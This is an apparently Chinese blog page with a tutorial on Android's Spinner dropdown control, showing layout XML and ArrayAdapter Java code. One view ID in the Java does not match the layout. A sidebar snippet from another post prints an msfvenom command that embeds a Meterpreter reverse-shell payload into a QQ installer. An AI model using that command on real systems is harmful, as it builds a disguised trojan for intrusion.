Android Spinner

【Android studio】spinner控件 Spinner是Android开发中常用的UI控件之一,它是一个下拉列表,可以用来显示多个选项,用户可以通过点击下拉箭头选择其中的一项。Spinner通常用于用户选择一个选项的场景,比如选择性别、选择城市、选择日期等。在布局文件中定义Spinner控件,如: 阅读详情

Android Spinner

在Android的UI开发中,Spinner(下拉列表)总是可以用到的

Spinner是一个列表选择框,会在用户选择后,展示一个列表供用户进行选择。Spinner是ViewGroup的间接子类,它和其他的Android控件一样,数据需要使用Adapter进行封装。

Spinner

下面介绍一下Spinner的常用XML属性,Android也为其属性提供了相应的getter、setter方法:

  • android:spinnerMode:列表显示的模式,有两个选择,为弹出列表dialog以及下拉列表dropdown,如果不特别设置,默认为下拉列表。。
  • android:entries:使用<string-array.../>资源配置数据源。
  • android:prompt:对当前下拉列表设置标题,仅在dialog模式下有效。传递一个“@string/name”资源,需要在需要在资源文件中定义<string.../>。

作为一个列表选择控件,Spinner具有一些选中选项可以触发的事件,但它本身没有定义这些事件,均继承自间接父类 AdapterView 。Spinner支持的几个常用事件有以下几个:

  • AdapterView.OnItemCLickListener:列表项被点击时触发。
  • AdapterView.OnItemLongClickListener:列表项被长按时触发。
  • AdapterView.OnItemSelectedListener:列表项被选择时触发。

PS:因为适配器可以设置各种不同的样式,有选择、单选、多选,所以OnItemCLickListener和OnItemSelectedListener是适用于不同场景的。

Spinner的数据绑定

对于Spinner展示的数据源,一般使用两种方式设定数据:

  • 通过XML资源文件设置,这种方式比较死板,但是如果仅仅需要展示固定的、简单的数据,这种方式还是可以考虑的,比较直观。
  • 使用Adapter接口设置,这是最常见的方式,动态、灵活,可以设定各种样式以及数据来源。

Spinner使用XML资源文件设置数据

先来讲讲通过XML资源文件设置Spinner数据的方式,首先需要在/res/values目录下新建XML格式的资源文件,名字不重要,但是一般会使用strings.xml。在其中的<resourse.../>标签下,定义<string-array.../>标签,通过它中的<item.../>标签来设置选择数据。

XML文件结构:

<?xml version="1.0" encoding="utf-8"?>
<resources>
     ……
    <string-array name="arrayname">
        <item>item1</item>
        <item>item2</item>
        <item>item3</item>
    </string-array>
    ……
</resources>

通过适配器Adapter可以设定比较复杂的展示效果,一般项目中比较常用的也是这种方式。

下面通过一个示例,讲解一下上面说的属性、事件,以及使用ArrayAdapter和XML资源文件设定简单数据,代码中注释已经说的很清楚了,这里就不再累述了。

部分布局代码:

    <TextView
        android:id="@+id/tv_spinner_entriesshow"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:background="#f2f2f2"
        android:padding="10dp"
        android:text="(entries)您的选择的是"
        android:textSize="16sp" >
    </TextView>

    <Spinner
        android:id="@+id/sp_spinner_entriescontent"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:entries="@array/arrayname" >
    </Spinner>

然后在Activity里,直接使用

Resources res =getResources();
String[] arraynames=res.getStringArray(R.array.arrayname);

即可取得<string-array name="arrayname">"下的所有item数据,简单又方便的一种方法。

Spinner使用Adapter接口设置数据

下面介绍一下最简单的Spinner使用Adapter接口设置数据

  • 新建一个Android工程,名字为SpinnerTest。修改layout下的activity_main.xml,添加一个Textview和一个Spinner,文件内容如下:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:tools="http://schemas.android.com/tools"
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:background="#d7d7d7"
    android:orientation="vertical"
    tools:context="com.ylbf.spinnertest.MainActivity" >

    <TextView
        android:id="@+id/tv_spinner_show"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:background="#f2f2f2"
        android:padding="10dp"
        android:text="您的选择的是"
        android:textSize="16sp" >
    </TextView>

    <Spinner
        android:id="@+id/sp_content"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content" >
    </Spinner>
    <!-- 定义一个下拉菜单 -->

</LinearLayout>
  • 修改你的MainActivity.class类,在这里我们就要自定义一个Spinner了,完整代码如下:
package com.ylbf.spinnertest;

import java.util.ArrayList;
import java.util.List;

import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemSelectedListener;
import android.widget.ArrayAdapter;
import android.widget.Spinner;
import android.widget.TextView;

public class MainActivity extends Activity {

    private TextView tv_show;
    private Spinner sp_content;
    private List<String> list = new ArrayList<String>();
    private ArrayAdapter<String> adapter;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        findView();
        init();
        setEvent();
        display();
    }

    private void display() {
        //为下拉列表定义一个适配器,这里就用到里前面定义的list。
        adapter = new ArrayAdapter<String>(this, android.R.layout.simple_spinner_item, list);
        //为适配器设置下拉列表下拉时的菜单样式。
        adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
        sp_content.setAdapter(adapter);
    }

    private void init() {
        list.add("北京");
        list.add("上海");
        list.add("深圳");
        list.add("南京");
        list.add("重庆");
    }

    private void setEvent() {
        //为下拉列表设置各种事件的响应,这个事响应菜单被选中
        sp_content.setOnItemSelectedListener(new OnItemSelectedListener() {

            @Override
            public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
                tv_show.setText("您选择的是:"+ adapter.getItem(position));
                //或者使用以下方法 在提交取值时比较方便
                //tv_show.setText("您选择的是:"+ sp_content.getSelectedItem().toString());
            }

            @Override
            public void onNothingSelected(AdapterView<?> parent) {
                tv_show.setText("请您选择内容");
            }
        });
    }

    private void findView() {
        tv_show = (TextView) findViewById(R.id.tv_spinner_show);
        sp_content = (Spinner) findViewById(R.id.sp_spinner_content);
    }
}

上面完成了Spinner最简单的选择一个内容,以一个TextView展示选择内容,Spinner使用Adapter接口设置数据;

如何设计一个处理物联网设备数据流的后端系统。 设计一个处理物联网设备数据流的后端系统,需要综合考虑设备数据采集、传输、处理、存储等多个方面,保证系统能够处理海量数据,具备高可用性、扩展性和安全性。合理选择适当的技术架构和工具(如MQTT、Kafka、InfluxDB等),并确保系统能够灵活应对不断变化的业务需求和设备接入。 阅读详情

相关推荐

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

Android常用控件Spinner的使用(详解)

两种实现Spinner的方法

qq_62079241的博客 1万+

手把手教你理解ARM SoC中的PPU:电源管理IP的配置与实战避坑指南

本文深入解析ARM SoC中的PPU(Power Policy Unit)电源管理IP,提供详细的配置指南与实战避坑技巧。从PPU基础架构、寄存器配置到与PCSM的协同工作,全面介绍如何优化电源管理策略,解决常见配置误区,并分享高级调试与性能优化方法,助力工程师提升低功耗SoC设计效率。

weixin_28693447的博客 480

Android之Spinner使用详解

Spinner(列表选择框)的基本使用 当我们的app需要用户输入数据时,除了让用户自己打字以外,还有一种比较贴心的设计: 列出一组选项让用户从中挑选,从而方便了我们的用户! 一、常用的属性 属性名 作用 android:dropDownHorizontalOffset 设置列表框的水平偏移距离 android:dropDownVerticalOffset 设置列表框的水平竖直距离 android:dropDownSelector 列表框被选中时的背景 android:dropD

Mq_sir的博客 3万+

微信DAT图片恢复全攻略:从文件路径到批量解密(附最新工具下载)

本文详细介绍了微信DAT图片恢复的全过程,从文件路径定位到批量解密操作,帮助用户高效恢复加密存储的图片。文章涵盖新旧版本微信的存储结构差异,推荐使用专业解密工具进行批量转换,并提供了提升恢复成功率的实用技巧和常见问题解决方案。

weixin_29325007的博客 455

AWS S3文件上传性能优化:Java SDK多线程与分段上传实战指南

本文详细介绍了如何通过Java SDK优化AWS S3文件上传性能,重点讲解多线程并发上传与分段上传(Multipart Upload)技术的实战应用。通过动态调整分段策略、线程池配置及内存优化技巧,可显著提升大文件上传效率,实测显示组合方案比单线程上传提速近5倍。文章还涵盖加密上传、断点续传等高级场景解决方案,并提供了完整的性能对比测试数据。

d6e7f8的博客 1016

Android 之 Spinner (列表选项框)的基本使用

本来本节是想给大家介绍一个Gallery(画廊)的一个控件的,后来想想还是算了,因为 在Android 4.1后就已经被弃用了,尽管我们可以通过兼容不来使用Gallery,不过想想 还是算了,因为Gallery在每次切换图片的时候,都需要重新创建视图,这样无疑会造成 很大资源浪费!我们可以通过其他方法来实现Gallery效果,比如通过HorizontalScrollView 来实现水平滚动效果,或者编写一个水平方向的ListView~有兴趣自己谷歌! 本节学习的是一个叫做Spinner的Adapter控件。

leyang0910的博客 3893

傻瓜式下载、安装CentOS7操作步骤

CentOS7.9下载和安装操作步骤

weixin_45608163的博客 1万+

Android Spinner控件

1.Spinner类 Spinner类提供了一个下拉列表。常用参数 entries,指定加载数据 spinnerMode,指定显示方式,dropdown是下拉菜单,dialog是弹出框 prompt,指定弹出框标题 界面UI &amp;amp;amp;amp;amp;lt;Spinner android:id=&amp;amp;amp;amp;quot;@+id/spinner1&amp;amp;amp;amp;quot; a

假装你是大灰狼的专栏 2219

ADS基础教程16 - 存档和导入(workspace、cell、view)

选择workspace_Archive目录作为保存workspace归档的目录,点击打开进行目录选择,点击Finish保存目录。,选择cell_Archive目录作为保存cell归档的目录,点击打开进行目录选择,点击Finish保存目录。,选择view_Archive目录作为保存view归档的目录,点击打开进行目录选择,点击Finish保存目录。(2)在弹框中,可以选择点击Select将参考的条目添加进来,然后点击Next…(2)在弹框中,可以选择点击Select将参考的条目添加进来,然后点击Next…

XZ_ZC的博客 3703

SOC、SOH、OCV

1)放电实验法的测量SOH结果最为准确,但是深度放电会对影响电池的寿命;2)电阻折算法仅将电阻作为评价SOH的依据,但电池老化时电阻的变化范围较小,因此该方法的误差较大;3)电阻折算法需要对电池进行大量的实验,绘制成Map图,但是该方法有一定的局限性,针对不同的电池需要绘制不同的Map图;4)阻抗分析法是目前最为前沿的方法,可以根据阻抗谱较为直观的分析SOH的变化,但是该方法需要的成本较高,每台设备约为5万美元。

m0_61973119的博客 2万+

android spinner 简书,安卓之Spinner

package com.example.spinner;import android.support.v7.app.AppCompatActivity;import android.os.Bundle;import android.view.View;import android.widget.AdapterView;import android.widget.ArrayAdapter;impor...

weixin_35917193的博客 203

看完就会!手把手教您如何正确开启飞牛Nas 虚拟机的 IOMMU 硬件直通,让虚拟机的性能飙升!

看完就会!手把手教您如何正确开启飞牛Nas 虚拟机的 IOMMU 硬件直通,让虚拟机的性能飙升!

XiaoqiangClub的博客 1万+

安卓界面控件之Spinner

安卓界面控件之SpinnerSpinner的定义:如果为Spinner中添加选择项目 Spinner的定义: 1.Spinner是一种能够从多个选项中选一个选项的控件,使用浮动菜单为用户提供选择 2.类似于桌面程序的组合框(ComboBox) Spinner位于工具栏Palette栏中的Containers中的第一个(意味着Spinner是一种容器,存放选择的容器) 如...

weixin_44405478的博客 1190

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

android spinner listview,安卓中ListView中怎么加Spinner!

com.apress.gerber.leadus;android.app.Activity;android.os.Bundle;android.view.View;android.widget.AbsListView;android.widget.AdapterView;android.widget.ArrayAdapter;android.widget.ListView;android.widg...

weixin_29421255的博客 409

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

android 自定义spinner样式,【安卓】如何制作Spinner的Hint提示效果,并自定义Spinner样式...

这个需求其实还是有的,有时候我们想在Spinner中制作出一个类似于TextView的hint那样的效果。如下: 当你第一次看到这个Spinner的时候,其中显示“点击选择”,而你点了一下,就会出现选项,一旦点选了某个选项,“点击选择”就会从此消失,也就是说,那只是提示,不参与逻辑判断。也就是boni2k提供的solution,于是我复制过来做了一些自己的测试和理解如下:代码部分:// 布局文件 ...

weixin_35462903的博客 1090

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

安卓 Spinner的用法

,

代码是程序员的语言,博客是思想的桥梁,连接你我,共享智慧之光。 5627

Android 下拉控件Spinner

Spinner 是android 系统下拉的一个控件 下面分别在把下拉内容在xml 中和java 代码中 来实现操作 1 xml 中 在xml 中创建一个spinner <Spinner android:id="@+id/spinner" android:layout_width="wrap_content" android:layout_height="wrap_content" an

小牧在一直在学习,在前进的道路上大家一起学习,进步。 6714

Android中Spinner用法

一、Spinner的两种展示样式 下拉列表的展示方式有两种,一种是在当前下拉框的正下方展示列表,此时把spinnerMode属性设置为dropdown;另一种是在页面中部以对话框形式展示列表,此时把SpinnerMode属性设置为dialog。 二、Spinner相关方法 setPrompt:设置标题文字。 setAdapter:设置下拉列表的适配器。 setSelection:设置当前选中哪项。注意该方法要在setAdapter方法之后调用。 setOnItemSe

水月洞天 2万+

Android开发使用Spinner更新ListView

Android中通过Spinner更新ListView

Afison的博客 897

android spinner禁止点击_一行代码解决安卓重复点击

秦子帅明确目标,每天进步一点点.....作者| Zhujiang地址|juejin.im/post/5ea66d64f265da480836d2b2五一期间发文时间改为20:00,五一不停更!抛出问题“大哥,有个问题想问你!”“哎,说吧(内心戏:咋又来了。。。准没好事!)”“我的一个页面中有一个查询按钮,点击就会发出网络请求,等待返回结果后更新数据。”“这不挺好的嘛!有啥问题啊...

weixin_42119358的博客 1152

安卓开发: Spinner联动

主要就是实现上面图片的功能 先建立一个arrays.xml文件,然后建立几个string数组 江苏 山东 徐州 南京 泰安 台儿庄 可以直接在布局文件中用entries对Spinner绑定一个数组 实

JUST CODE IT 870

android静态spinner,2020/4/10安卓开发:Spinner下拉框

layout中定义组件使用数组为spinner静态赋值在valuse下建立arrays.xml定义数组元素赋值(只能用string数组) 赵丽颖 迪丽热巴 杨超越使用spinner的entries属性使用适配器String[] strings={"赵丽颖","迪丽热巴","杨春雨"};Spinner spinner=(Spinner)findViewById(R.id.spinn...

weixin_33959449的博客 263

安卓:下拉列表spinner的联动

安卓下拉列表spinner的联动结果展示:代码部分java代码分析:1、为下拉列表设置新的下拉项目数据2、两个下拉列表联动关键代码块3、下拉列表项目的选定 结果展示: 即点击第一个下拉列表内容时,第二个下拉列表的内容那个会根据第一个下拉列表内容改变而改变 代码部分 xml: activity_spinner_test.xml <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://sche

fuzhijieabc的博客 464

安卓Spinner下拉框

先在values定义一个字符数组 <?xml version="1.0" encoding="utf-8"?> <resources> <string-array name="arr"> <item>狂三</item> <item>琴里</item> <...

Sakura_huatex的博客 257
上一篇: Android M 新的运行时权限开发者需要知道的一切
下一篇: 在android的spinner中,实现取VALUE值和ID值
YLBF_DEV
博客等级 码龄12年 30粉丝 61原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值